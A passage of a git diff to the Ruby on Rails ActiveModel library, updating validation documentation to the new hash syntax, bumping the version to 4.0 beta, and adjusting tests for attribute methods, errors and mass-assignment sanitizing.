-      # * <tt>if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
       #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_presence_of(*attr_names)
         validates_with PresenceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index fbceb81e8f..eb6e604851 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -1,7 +1,6 @@
 require 'active_support/core_ext/hash/slice'
 
 module ActiveModel
-
   # == Active Model validates method
   module Validations
     module ClassMethods
@@ -12,18 +11,18 @@ module ActiveModel
       #
       # Examples of using the default rails validators:
       #
-      #   validates :terms, :acceptance => true
-      #   validates :password, :confirmation => true
-      #   validates :username, :exclusion => { :in => %w(admin superuser) }
-      #   validates :email, :format => { :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, :on => :create }
-      #   validates :age, :inclusion => { :in => 0..9 }
-      #   validates :first_name, :length => { :maximum => 30 }
-      #   validates :age, :numericality => true
-      #   validates :username, :presence => true
-      #   validates :username, :uniqueness => true
+      #   validates :terms, acceptance: true
+      #   validates :password, confirmation: true
+      #   validates :username, exclusion: { in: %w(admin superuser) }
+      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+      #   validates :age, inclusion: { in: 0..9 }
+      #   validates :first_name, length: { maximum: 30 }
+      #   validates :age, numericality: true
+      #   validates :username, presence: true
+      #   validates :username, uniqueness: true
       #
       # The power of the +validates+ method comes when using custom validators
-      # and default validators in one call for a given attribute e.g.
+      # and default validators in one call for a given attribute.
       #
       #   class EmailValidator < ActiveModel::EachValidator
       #     def validate_each(record, attribute, value)
@@ -36,12 +35,12 @@ module ActiveModel
       #     include ActiveModel::Validations
       #     attr_accessor :name, :email
       #
-      #     validates :name, :presence => true, :uniqueness => true, :length => { :maximum => 100 }
-      #     validates :email, :presence => true, :email => true
+      #     validates :name, presence: true, uniqueness: true, length: { maximum: 100 }
+      #     validates :email, presence: true, email: true
       #   end
       #
       # Validator classes may also exist within the class being validated
-      # allowing custom modules of validators to be included as needed e.g.
+      # allowing custom modules of validators to be included as needed.
       #
       #   class Film
       #     include ActiveModel::Validations
@@ -52,35 +51,55 @@ module ActiveModel
       #       end
       #     end
       #
-      #     validates :name, :title => true
+      #     validates :name, title: true
       #   end
       #
-      # Additionally validator classes may be in another namespace and still used within any class.
+      # Additionally validator classes may be in another namespace and still
+      # used within any class.
       #
-      #   validates :name, :'file/title' => true
+      #   validates :name, :'film/title' => true
       #
-      # The validators hash can also handle regular expressions, ranges, 
-      # arrays and strings in shortcut form, e.g.
+      # The validators hash can also handle regular expressions, ranges, arrays
+      # and strings in shortcut form.
       #
-      #   validates :email, :format => /@/
-      #   validates :gender, :inclusion => %w(male female)
-      #   validates :password, :length => 6..20
+      #   validates :email, format: /@/
+      #   validates :gender, inclusion: %w(male female)
+      #   validates :password, length: 6..20
       #
       # When using shortcut form, ranges and arrays are passed to your
-      # validator's initializer as +options[:in]+ while other types including
-      # regular expressions and strings are passed as +options[:with]+
+      # validator's initializer as <tt>options[:in]</tt> while other types
+      # including regular expressions and strings are passed as <tt>options[:with]</tt>.
+      #
+      # There is also a list of options that could be used along with validators:
       #
-      # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+ and +:strict+ 
-      # can be given to one specific validator, as a hash:
+      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
+      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
+      #   and <tt>:update</tt>.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+      #   will raise ActiveModel::StrictValidationFailed instead of adding the error.
+      #   <tt>:strict</tt> option can also be set to any other exception.
       #
-      #   validates :password, :presence => { :if => :password_required? }, :confirmation => true
+      # Example:
       #
-      # Or to all at the same time:
+      #   validates :password, presence: true, confirmation: true, if: :password_required?
+      #   validates :token, uniqueness: true, strict: TokenGenerationException
       #
-      #   validates :password, :presence => true, :confirmation => true, :if => :password_required?
       #
+      # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+
+      # and +:strict+ can be given to one specific validator, as a hash:
+      #
+      #   validates :password, presence: { if: :password_required? }, confirmation: true
       def validates(*attributes)
-        defaults = attributes.extract_options!
+        defaults = attributes.extract_options!.dup
         validations = defaults.slice!(*_validates_default_keys)
 
         raise ArgumentError, "You need to supply at least one attribute" if attributes.empty?
@@ -89,6 +108,7 @@ module ActiveModel
         defaults.merge!(:attributes => attributes)
 
         validations.each do |key, options|
+          next unless options
           key = "#{key.to_s.camelize}Validator"
 
           begin
@@ -101,12 +121,24 @@ module ActiveModel
         end
       end
 
-      # This method is used to define validation that can not be corrected by end user
-      # and is considered exceptional. 
-      # So each validator defined with bang or <tt>:strict</tt> option set to <tt>true</tt>
-      # will always raise <tt>ActiveModel::InternalValidationFailed</tt> instead of adding error
-      # when validation fails
-      # See <tt>validates</tt> for more information about validation itself.
+      # This method is used to define validations that cannot be corrected by end
+      # users and are considered exceptional. So each validator defined with bang
+      # or <tt>:strict</tt> option set to <tt>true</tt> will always raise
+      # <tt>ActiveModel::StrictValidationFailed</tt> instead of adding error
+      # when validation fails. See <tt>validates</tt> for more information about
+      # the validation itself.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     attr_accessor :name
+      #     validates! :name, presence: true
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = ''
+      #   person.valid?
+      #   # => ActiveModel::StrictValidationFailed: Name can't be blank
       def validates!(*attributes)
         options = attributes.extract_options!
         options[:strict] = true
@@ -117,8 +149,8 @@ module ActiveModel
 
       # When creating custom validators, it might be useful to be able to specify
       # additional default keys. This can be done by overwriting this method.
-      def _validates_default_keys
-        [ :if, :unless, :on, :allow_blank, :allow_nil , :strict]
+      def _validates_default_keys #:nodoc:
+        [:if, :unless, :on, :allow_blank, :allow_nil , :strict]
       end
 
       def _parse_validates_options(options) #:nodoc:
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 93a340eb39..869591cd9e 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -3,12 +3,14 @@ module ActiveModel
     module HelperMethods
       private
         def _merge_attributes(attr_names)
-          options = attr_names.extract_options!
-          options.merge(:attributes => attr_names.flatten)
+          options = attr_names.extract_options!.symbolize_keys
+          attr_names.flatten!
+          options[:attributes] = attr_names
+          options
         end
     end
 
-    class WithValidator < EachValidator
+    class WithValidator < EachValidator #:nodoc:
       def validate_each(record, attr, val)
         method_name = options[:with]
 
@@ -32,7 +34,7 @@ module ActiveModel
       #   class MyValidator < ActiveModel::Validator
       #     def validate(record)
       #       if some_complex_logic
-      #         record.errors.add :base, "This record is invalid"
+      #         record.errors.add :base, 'This record is invalid'
       #       end
       #     end
       #
@@ -46,30 +48,32 @@ module ActiveModel
       #
       #   class Person
       #     include ActiveModel::Validations
-      #     validates_with MyValidator, MyOtherValidator, :on => :create
+      #     validates_with MyValidator, MyOtherValidator, on: :create
       #   end
       #
       # Configuration options:
       # * <tt>:on</tt> - Specifies when this validation is active
-      #   (<tt>:create</tt> or <tt>:update</tt>
+      #   (<tt>:create</tt> or <tt>:update</tt>.
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
-      #   if the validation should occur (e.g. <tt>:if => :allow_validation</tt>,
-      #   or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>unless</tt> - Specifies a method, proc or string to call to
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
       #   determine if the validation should not occur
-      #   (e.g. <tt>:unless => :skip_validation</tt>, or
-      #   <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
-
+      #   (e.g. <tt>unless: :skip_validation</tt>, or
+      #   <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>).
+      #   The method, proc or string should return or evaluate to a +true+ or
+      #   +false+ value.
+      # * <tt>:strict</tt> - Specifies whether validation should be strict.
+      #   See <tt>ActiveModel::Validation#validates!</tt> for more information.
+      #
       # If you pass any additional configuration options, they will be passed
-      # to the class and available as <tt>options</tt>:
+      # to the class and available as +options+:
       #
       #   class Person
       #     include ActiveModel::Validations
-      #     validates_with MyValidator, :my_custom_key => "my custom value"
+      #     validates_with MyValidator, my_custom_key: 'my custom value'
       #   end
       #
       #   class MyValidator < ActiveModel::Validator
@@ -77,7 +81,6 @@ module ActiveModel
       #       options[:my_custom_key] # => "my custom value"
       #     end
       #   end
-      #
       def validates_with(*args, &block)
         options = args.extract_options!
         args.each do |klass|
@@ -118,22 +121,21 @@ module ActiveModel
     #   class Person
     #     include ActiveModel::Validations
     #
-    #     validate :instance_validations, :on => :create
+    #     validate :instance_validations, on: :create
     #
     #     def instance_validations
     #       validates_with MyValidator, MyOtherValidator
     #     end
     #   end
     #
-    # Standard configuration options (:on, :if and :unless), which are
-    # available on the class version of validates_with, should instead be
-    # placed on the <tt>validates</tt> method as these are applied and tested
-    # in the callback
+    # Standard configuration options (<tt>:on</tt>, <tt>:if</tt> and
+    # <tt>:unless</tt>), which are available on the class version of
+    # +validates_with+, should instead be placed on the +validates+ method
+    # as these are applied and tested in the callback.
     #
     # If you pass any additional configuration options, they will be passed
-    # to the class and available as <tt>options</tt>, please refer to the
-    # class version of this method for more information
-    #
+    # to the class and available as +options+, please refer to the
+    # class version of this method for more information.
     def validates_with(*args, &block)
       options = args.extract_options!
       args.each do |klass|
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 35ec98c822..85aec00f25 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -1,9 +1,6 @@
-require 'active_support/core_ext/array/wrap'
 require "active_support/core_ext/module/anonymous"
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/object/inclusion'
 
-module ActiveModel #:nodoc:
+module ActiveModel
 
   # == Active Model Validator
   #
@@ -29,7 +26,7 @@ module ActiveModel #:nodoc:
   #   end
   #
   # Any class that inherits from ActiveModel::Validator must implement a method
-  # called <tt>validate</tt> which accepts a <tt>record</tt>.
+  # called +validate+ which accepts a +record+.
   #
   #   class Person
   #     include ActiveModel::Validations
@@ -43,8 +40,8 @@ module ActiveModel #:nodoc:
   #     end
   #   end
   #
-  # To cause a validation error, you must add to the <tt>record</tt>'s errors directly
-  # from within the validators message
+  # To cause a validation error, you must add to the +record+'s errors directly
+  # from within the validators message.
   #
   #   class MyValidator < ActiveModel::Validator
   #     def validate(record)
@@ -64,16 +61,16 @@ module ActiveModel #:nodoc:
   #   end
   #
   # The easiest way to add custom validators for validating individual attributes
-  # is with the convenient <tt>ActiveModel::EachValidator</tt>. For example:
+  # is with the convenient <tt>ActiveModel::EachValidator</tt>.
   #
   #   class TitleValidator < ActiveModel::EachValidator
   #     def validate_each(record, attribute, value)
-  #       record.errors.add attribute, 'must be Mr. Mrs. or Dr.' unless value.in?(['Mr.', 'Mrs.', 'Dr.'])
+  #       record.errors.add attribute, 'must be Mr., Mrs., or Dr.' unless %w(Mr. Mrs. Dr.).include?(value)
   #     end
   #   end
   #
   # This can now be used in combination with the +validates+ method
-  # (see <tt>ActiveModel::Validations::ClassMethods.validates</tt> for more on this)
+  # (see <tt>ActiveModel::Validations::ClassMethods.validates</tt> for more on this).
   #
   #   class Person
   #     include ActiveModel::Validations
@@ -84,8 +81,7 @@ module ActiveModel #:nodoc:
   #
   # Validator may also define a +setup+ instance method which will get called
   # with the class that using that validator as its argument. This can be
-  # useful when there are prerequisites such as an +attr_accessor+ being present
-  # for example:
+  # useful when there are prerequisites such as an +attr_accessor+ being present.
   #
   #   class MyValidator < ActiveModel::Validator
   #     def setup(klass)
@@ -95,15 +91,13 @@ module ActiveModel #:nodoc:
   #
   # This setup method is only called when used with validation macros or the
   # class level <tt>validates_with</tt> method.
-  #
   class Validator
     attr_reader :options
 
-    # Returns the kind of the validator. Examples:
+    # Returns the kind of the validator.
     #
     #   PresenceValidator.kind   # => :presence
     #   UniquenessValidator.kind # => :uniqueness
-    #
     def self.kind
       @kind ||= name.split('::').last.underscore.sub(/_validator$/, '').to_sym unless anonymous?
     end
@@ -114,6 +108,9 @@ module ActiveModel #:nodoc:
     end
 
     # Return the kind for this validator.
+    #
+    #   PresenceValidator.new.kind   # => :presence
+    #   UniquenessValidator.new.kind # => :uniqueness 
     def kind
       self.class.kind
     end
@@ -130,14 +127,14 @@ module ActiveModel #:nodoc:
   # record, attribute and value.
   #
   # All Active Model validations are built on top of this validator.
-  class EachValidator < Validator
+  class EachValidator < Validator #:nodoc:
     attr_reader :attributes
 
     # Returns a new validator instance. All options will be available via the
     # +options+ reader, however the <tt>:attributes</tt> option will be removed
     # and instead be made available through the +attributes+ reader.
     def initialize(options)
-      @attributes = Array.wrap(options.delete(:attributes))
+      @attributes = Array(options.delete(:attributes))
       raise ":attributes cannot be blank" if @attributes.empty?
       super
       check_validity!
@@ -169,7 +166,7 @@ module ActiveModel #:nodoc:
 
   # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization
   # and call this block for each attribute being validated. +validates_each+ uses this validator.
-  class BlockValidator < EachValidator
+  class BlockValidator < EachValidator #:nodoc:
     def initialize(options, &block)
       @block = block
       super
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index dbda55ca7c..e195c12a4d 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,7 +1,7 @@
 module ActiveModel
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index 67471ed497..baaf842222 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -10,7 +10,7 @@ class ModelWithAttributes
   end
 
   def attributes
-    { :foo => 'value of foo' }
+    { :foo => 'value of foo', :baz => 'value of baz' }
   end
 
 private
@@ -76,7 +76,28 @@ private
   end
 end
 
+class ModelWithRubyKeywordNamedAttributes
+  include ActiveModel::AttributeMethods
+
+  def attributes
+    { :begin => 'value of begin', :end => 'value of end' }
+  end
+
+private
+  def attribute(name)
+    attributes[name.to_sym]
+  end
+end
+
+class ModelWithoutAttributesMethod
+  include ActiveModel::AttributeMethods
+end
+
 class AttributeMethodsTest < ActiveModel::TestCase
+  test 'method missing works correctly even if attributes method is not defined' do
+    assert_raises(NoMethodError) { ModelWithoutAttributesMethod.new.foo }
+  end
+
   test 'unrelated classes should not share attribute method matchers' do
     assert_not_equal ModelWithAttributes.send(:attribute_method_matchers),
                      ModelWithAttributes2.send(:attribute_method_matchers)
@@ -119,47 +140,54 @@ class AttributeMethodsTest < ActiveModel::TestCase
     assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
   end
 
-  test '#define_attribute_methods generates attribute methods' do
-    ModelWithAttributes.define_attribute_methods([:foo])
+  test '#define_attribute_methods works passing multiple arguments' do
+    ModelWithAttributes.define_attribute_methods(:foo, :baz)
 
-    assert_respond_to ModelWithAttributes.new, :foo
     assert_equal "value of foo", ModelWithAttributes.new.foo
+    assert_equal "value of baz", ModelWithAttributes.new.baz
   end
 
-  test '#define_attribute_methods generates attribute methods with spaces in their names' do
-    ModelWithAttributesWithSpaces.define_attribute_methods([:'foo bar'])
+  test '#define_attribute_methods generates attribute methods' do
+    ModelWithAttributes.define_attribute_methods(:foo)
 
-    assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
-    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+    assert_respond_to ModelWithAttributes.new, :foo
+    assert_equal "value of foo", ModelWithAttributes.new.foo
   end
 
-  test '#define_attr_method generates attribute method' do
-    ModelWithAttributes.define_attr_method(:bar, 'bar')
+  test '#alias_attribute generates attribute_aliases lookup hash' do
+    klass = Class.new(ModelWithAttributes) do
+      define_attribute_methods :foo
+      alias_attribute :bar, :foo
+    end
 
-    assert_respond_to ModelWithAttributes, :bar
-    assert_equal "original bar", ModelWithAttributes.original_bar
-    assert_equal "bar", ModelWithAttributes.bar
-    ModelWithAttributes.define_attr_method(:bar)
-    assert !ModelWithAttributes.bar
+    assert_equal({ "bar" => "foo" }, klass.attribute_aliases)
   end
 
-  test '#define_attr_method generates attribute method with invalid identifier characters' do
-    ModelWithWeirdNamesAttributes.define_attr_method(:'c?d', 'c?d')
+  test '#define_attribute_methods generates attribute methods with spaces in their names' do
+    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
 
-    assert_respond_to ModelWithWeirdNamesAttributes, :'c?d'
-    assert_equal "original c?d", ModelWithWeirdNamesAttributes.send('original_c?d')
-    assert_equal "c?d", ModelWithWeirdNamesAttributes.send('c?d')
+    assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+    assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
   end
 
   test '#alias_attribute works with attributes with spaces in their names' do
-    ModelWithAttributesWithSpaces.define_attribute_methods([:'foo bar'])
+    ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
     ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
 
     assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
   end
 
+  test '#alias_attribute works with attributes named as a ruby keyword' do
+    ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+    ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+    ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+    assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+    assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+  end
+
   test '#undefine_attribute_methods removes attribute methods' do
-    ModelWithAttributes.define_attribute_methods([:foo])
+    ModelWithAttributes.define_attribute_methods(:foo)
     ModelWithAttributes.undefine_attribute_methods
 
     assert !ModelWithAttributes.new.respond_to?(:foo)
@@ -180,7 +208,7 @@ class AttributeMethodsTest < ActiveModel::TestCase
     assert_deprecated { klass.attribute_method_suffix '' }
     assert_deprecated { klass.attribute_method_prefix '' }
 
-    klass.define_attribute_methods([:foo])
+    klass.define_attribute_methods(:foo)
 
     assert_equal 'value of foo', klass.new.foo
   end
@@ -198,6 +226,12 @@ class AttributeMethodsTest < ActiveModel::TestCase
     assert_raises(NoMethodError) { m.protected_method }
   end
 
+  class ClassWithProtected
+    protected
+    def protected_method
+    end
+  end
+
   test 'should not interfere with respond_to? if the attribute has a private/protected method' do
     m = ModelWithAttributes2.new
     m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
@@ -205,9 +239,11 @@ class AttributeMethodsTest < ActiveModel::TestCase
     assert !m.respond_to?(:private_method)
     assert m.respond_to?(:private_method, true)
 
+    c = ClassWithProtected.new
+
     # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed
     # in the future.
-    assert m.respond_to?(:protected_method)
+    assert_equal c.respond_to?(:protected_method), m.respond_to?(:protected_method)
     assert m.respond_to?(:protected_method, true)
   end
 
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index 24552bcaf2..d679ad41aa 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -24,7 +24,7 @@ class ConversionTest < ActiveModel::TestCase
     assert_equal "1", Contact.new(:id => 1).to_param
   end
 
-  test "to_path default implementation returns a string giving a relative path" do
+  test "to_partial_path default implementation returns a string giving a relative path" do
     assert_equal "contacts/contact", Contact.new.to_partial_path
     assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
       "ActiveModel::Conversion#to_partial_path caching should be class-specific"
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index 98244a6290..eaaf910bac 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -3,7 +3,7 @@ require "cases/helper"
 class DirtyTest < ActiveModel::TestCase
   class DirtyModel
     include ActiveModel::Dirty
-    define_attribute_methods [:name, :color]
+    define_attribute_methods :name, :color
 
     def initialize
       @name = nil
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 8ddedb160a..3bc0d58351 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -27,12 +27,27 @@ class ErrorsTest < ActiveModel::TestCase
     end
   end
 
+  def test_delete
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] = 'omg'
+    errors.delete(:foo)
+    assert_empty errors[:foo]
+  end
+
   def test_include?
     errors = ActiveModel::Errors.new(self)
     errors[:foo] = 'omg'
     assert errors.include?(:foo), 'errors should include :foo'
   end
 
+  def test_dup
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] = 'bar'
+    errors_dup = errors.dup
+    errors_dup[:bar] = 'omg'
+    assert_not_same errors_dup.messages, errors.messages
+  end
+
   def test_has_key?
     errors = ActiveModel::Errors.new(self)
     errors[:foo] = 'omg'
@@ -136,10 +151,10 @@ class ErrorsTest < ActiveModel::TestCase
     assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
   end
 
-  test 'to_hash should return an ordered hash' do
+  test 'to_hash should return a hash' do
     person = Person.new
     person.errors.add(:name, "can not be blank")
-    assert_instance_of ActiveSupport::OrderedHash, person.errors.to_hash
+    assert_instance_of ::Hash, person.errors.to_hash
   end
 
   test 'full_messages should return an array of error messages, with the attribute name included' do
@@ -169,6 +184,16 @@ class ErrorsTest < ActiveModel::TestCase
     assert_equal ["is invalid"], hash[:email]
   end
 
+  test 'should return a JSON hash representation of the errors with full messages' do
+    person = Person.new
+    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "can not be nil")
+    person.errors.add(:email, "is invalid")
+    hash = person.errors.as_json(:full_messages => true)
+    assert_equal ["name can not be blank", "name can not be nil"], hash[:name]
+    assert_equal ["email is invalid"], hash[:email]
+  end
+
   test "generate_message should work without i18n_scope" do
     person = Person.new
     assert !Person.respond_to?(:i18n_scope)
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 2e860272a4..7d6f11b5a5 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -1,8 +1,5 @@
 require File.expand_path('../../../../load_paths', __FILE__)
 
-lib = File.expand_path("#{File.dirname(__FILE__)}/../../lib")
-$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib)
-
 require 'config'
 require 'active_model'
 require 'active_support/core_ext/string/access'
@@ -10,4 +7,4 @@ require 'active_support/core_ext/string/access'
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
-require 'test/unit'
+require 'minitest/autorun'
diff --git a/activemodel/test/cases/lint_test.rb b/activemodel/test/cases/lint_test.rb
index 68372160cd..8faf93c056 100644
--- a/activemodel/test/cases/lint_test.rb
+++ b/activemodel/test/cases/lint_test.rb
@@ -7,14 +7,10 @@ class LintTest < ActiveModel::TestCase
     extend ActiveModel::Naming
     include ActiveModel::Conversion
 
-    def valid?()      true end
     def persisted?() false end
 
     def errors
-      obj = Object.new
-      def obj.[](key)         [] end
-      def obj.full_messages() [] end
-      obj
+      Hash.new([])
     end
   end
 
diff --git a/activemodel/test/cases/mass_assignment_security/permission_set_test.rb b/activemodel/test/cases/mass_assignment_security/permission_set_test.rb
index d005b638e4..8082c49852 100644
--- a/activemodel/test/cases/mass_assignment_security/permission_set_test.rb
+++ b/activemodel/test/cases/mass_assignment_security/permission_set_test.rb
@@ -13,6 +13,12 @@ class PermissionSetTest < ActiveModel::TestCase
     assert new_list.include?('admin'), "did not add collection to #{@permission_list.inspect}}"
   end
 
+  test "+ compacts added collection values" do
+    added_collection = [ nil ]
+    new_list = @permission_list + added_collection
+    assert_equal new_list, @permission_list, "did not add collection to #{@permission_list.inspect}}"
+  end
+
   test "include? normalizes multi-parameter keys" do
     multi_param_key = 'admin(1)'
     new_list = @permission_list += [ 'admin' ]
diff --git a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
index 676937b5e1..b141cec059 100644
--- a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
+++ b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb
@@ -1,6 +1,5 @@
 require "cases/helper"
-require 'logger'
-require 'active_support/core_ext/object/inclusion'
+require 'active_support/logger'
 
 class SanitizerTest < ActiveModel::TestCase
   attr_accessor :logger
@@ -19,7 +18,7 @@ class SanitizerTest < ActiveModel::TestCase
 
   test "sanitize attributes" do
     original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
-    attributes = @logger_sanitizer.sanitize(original_attributes, @authorizer)
+    attributes = @logger_sanitizer.sanitize(self.class, original_attributes, @authorizer)
 
     assert attributes.key?('first_name'), "Allowed key shouldn't be rejected"
     assert !attributes.key?('admin'),     "Denied key should be rejected"
@@ -28,15 +27,15 @@ class SanitizerTest < ActiveModel::TestCase
   test "debug mass assignment removal with LoggerSanitizer" do
     original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
     log = StringIO.new
-    self.logger = Logger.new(log)
-    @logger_sanitizer.sanitize(original_attributes, @authorizer)
+    self.logger = ActiveSupport::Logger.new(log)
+    @logger_sanitizer.sanitize(self.class, original_attributes, @authorizer)
     assert_match(/admin/, log.string, "Should log removed attributes: #{log.string}")
   end
 
   test "debug mass assignment removal with StrictSanitizer" do
     original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' }
     assert_raise ActiveModel::MassAssignmentSecurity::Error do
-      @strict_sanitizer.sanitize(original_attributes, @authorizer)
+      @strict_sanitizer.sanitize(self.class, original_attributes, @authorizer)
     end
   end
 
@@ -44,7 +43,7 @@ class SanitizerTest < ActiveModel::TestCase
     original_attributes = {'id' => 1, 'first_name' => 'allowed'}
 
     assert_nothing_raised do
-      @strict_sanitizer.sanitize(original_attributes, @authorizer)
+      @strict_sanitizer.sanitize(self.class, original_attributes, @authorizer)
     end
   end
 
diff --git a/activemodel/test/cases/mass_assignment_security_test.rb b/activemodel/test/cases/mass_assignment_security_test.rb
index be07e59a2f..0c6352cd71 100644
--- a/activemodel/test/cases/mass_assignment_security_test.rb
+++ b/activemodel/test/cases/mass_assignment_security_test.rb
@@ -4,7 +4,7 @@ require 'models/mass_assignment_specific'
 
 class CustomSanitizer < ActiveModel::MassAssignmentSecurity::Sanitizer
 
-  def process_removed_attributes(attrs)
+  def process_removed_attributes(klass, attrs)
     raise StandardError
   end
 
@@ -19,6 +19,13 @@ class MassAssignmentSecurityTest < ActiveModel::TestCase
     assert_equal expected, sanitized
   end
 
+  def test_attribute_protection_when_role_is_nil
+    user = User.new
+    expected = { "name" => "John Smith", "email" => "john@smith.com" }
+    sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true), nil)
+    assert_equal expected, sanitized
+  end
+
   def test_only_moderator_role_attribute_accessible
     user = SpecialUser.new
     expected = { "name" => "John Smith", "email" => "john@smith.com" }
diff --git a/activemodel/test/cases/model_test.rb b/activemodel/test/cases/model_test.rb
new file mode 100644
index 0000000000..d93fd96b88
--- /dev/null
+++ b/activemodel/test/cases/model_test.rb
@@ -0,0 +1,26 @@
+require 'cases/helper'
+
+class ModelTest < ActiveModel::TestCase
+  include ActiveModel::Lint::Tests
+
+  class BasicModel
+    include ActiveModel::Model
+    attr_accessor :attr
+  end
+
+  def setup
+    @model = BasicModel.new
+  end
+
+  def test_initialize_with_params
+    object = BasicModel.new(:attr => "value")
+    assert_equal object.attr, "value"
+  end
+
+  def test_initialize_with_nil_or_empty_hash_params_does_not_explode
